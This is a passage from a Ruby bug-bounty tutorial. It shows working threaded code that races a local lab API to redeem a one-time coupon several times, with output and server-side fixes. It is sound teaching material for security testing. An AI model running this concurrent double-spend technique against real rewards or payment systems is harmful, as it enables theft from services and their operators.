// Bug Bounty Automation in Ruby · Part 6

Rate limits and races

A one-time coupon behaves perfectly when you redeem it twice in a row — and falls apart when you redeem it ten times at once. We fire concurrent requests to double-spend a reward before the server can mark it used, learning threads and the check-then-act race that markets bots live and die on.

RubyConcurrencyThreadsRace Condition
5 min read

Every request so far went out one at a time. Some of the best API bugs only appear when requests go out together. The lab has a coupon, FREE100, worth 100 to your balance and marked one-time. Redeemed one after another it behaves. Redeemed all at once, it pays out again and again — a race condition, and the exact bug class that lets someone drain a rewards program or double-spend on a trading platform.

Start race.rb with login and a redeem call:

require 'net/http'
require 'json'
require 'uri'

BASE = 'http://127.0.0.1:4567'

def login(name)
  res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

def redeem(token, code)
  uri = URI("#{BASE}/api/redeem")
  req = Net::HTTP::Post.new(uri)
  req['Authorization'] = "Bearer #{token}"
  req['Content-Type'] = 'application/json'
  req.body = { 'code' => code }.to_json
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

Sequentially, it’s fine

Redeem the coupon twice, one call after the other:

token = login('alice')
2.times do |i|
  res = redeem(token, 'FREE100')
  puts "  attempt #{i + 1}: HTTP #{res.code} -> #{res.body}"
end
$ ruby race.rb
  attempt 1: HTTP 200 -> {"balance":1100}
  attempt 2: HTTP 409 -> {"error":"already redeemed"}

Exactly right: the first redemption pays out, the second is rejected because the coupon is now marked used. The server’s logic is check whether it’s redeemed, then mark it redeemed. Read one at a time, that’s airtight.

All at once, it isn’t

The flaw is the gap between the check and the mark. If ten requests all run the check before any of them reaches the mark, all ten see “not redeemed yet” and all ten pay out. To make that happen we send them concurrently, with threads. Restart the lab first so the coupon is fresh, then:

token = login('bob')

threads = 10.times.map do
  Thread.new { redeem(token, 'FREE100') }
end

codes = threads.map { |t| t.value.code.to_i }
wins  = codes.count(200)
puts "[+] fired #{codes.size} at once -> #{wins} returned 200 (each credited 100)"

Thread.new { ... } starts a block running concurrently and hands back a thread object immediately; the loop launches ten before any finishes. t.value waits for a thread to end and returns its block’s result — so codes collects all ten status codes once they’re all done. count(200) tallies the successes:

$ ruby race.rb
[+] fired 10 at once -> 8 returned 200 (each credited 100)

Eight successful redemptions of a one-time coupon. Sequentially we got exactly one; concurrently we got eight, and bob’s balance jumped by 800 instead of 100. The exact count shifts from run to run — you’re racing microseconds — but anything above one is the vulnerability. Nothing about the coupon changed, only the timing of how we asked.

Why it works, and the two findings

Ruby has a GVL, so only one thread runs Ruby at a time — but a thread yields whenever it waits on I/O, which is most of what an HTTP request does. While one request is in flight (and while the server sits in its own delay between check and mark), the others run their checks. They overlap on the server’s state, and the race is on.

There are two reportable findings tangled together here:

  • The race itself — a check-then-act with no lock. The fix is server-side: make the check-and-mark atomic, or require an idempotency key.
  • No rate limiting — the server happily took ten redemption attempts in a blink. Even without the race, unlimited rapid requests are their own bug, and they’re what makes a race exploitable at scale. A hunter reports both.

Takeaways

  • A race condition hides in check-then-act: validate, then change state, with a gap between. Concurrent requests slip through the gap.
  • Thread.new { ... } runs a block concurrently; t.value waits and returns its result. Launch many, then collect their values.
  • Ruby’s GVL doesn’t save you here — threads yield on I/O, so network requests genuinely overlap. Timing bugs are real in Ruby.
  • Missing rate limiting is both its own finding and the multiplier that makes races, credential stuffing, and enumeration practical. Always note it.

Exercises

  1. Sweep the thread count: try 2, 5, 20, 50 and print the wins for each (restart the lab between runs). Where does the race start to bite?
  2. After a race run, read bob’s balance from /api/me and confirm it matches 1500 + 100 * wins. Evidence like that belongs in the report.
  3. The server widens the window with a small delay. Remove it in labapi.rb and re-run — is the race gone, or just narrower? (It’s narrower. Real races often need many attempts to hit a microsecond gap.)

Next — Part 7: we’ve found six bugs by hand. Part 7 makes the tool notice things for us — snapshotting the API’s responses and diffing one run against the next, so a new endpoint or a changed field surfaces on its own.

← All parts